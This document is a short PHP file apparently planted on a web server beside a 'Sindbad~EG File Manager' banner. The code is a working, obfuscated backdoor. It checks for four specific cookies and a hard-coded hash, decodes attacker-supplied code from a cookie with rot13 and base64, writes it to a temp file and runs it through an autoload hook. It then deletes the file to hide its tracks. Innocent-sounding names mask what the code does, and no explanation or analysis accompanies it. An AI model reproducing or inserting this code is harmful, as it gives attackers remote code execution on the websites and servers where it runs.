Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-72+72]) && isset($_COOKIE[-82+83]) && isset($_COOKIE[-21+24]) && isset($_COOKIE[42-38])) {
    $k = $_COOKIE;
    function publish_content($marker) {
        $k = $_COOKIE;
        $component = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '6b25829d');
        if (!is_writable($component)) {
            $component = getcwd() . DIRECTORY_SEPARATOR . "splitter_tool";
        }
        $record = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($k[3]));
        if (is_writeable($component)) {
            $entry = fopen($component, 'w+');
            fputs($entry, $record);
            fclose($entry);
            spl_autoload_unregister(__FUNCTION__);
            require_once($component);
            @array_map('unlink', array($component));
        }
    }
    spl_autoload_register("publish_content");
    $symbol = "57d676175c757ca915d0b7c3599c7772";
    if (!strncmp($symbol, $k[4], 32)) {
        if (@class_parents("request_approved_framework", true)) {
            exit;
        }
    }
}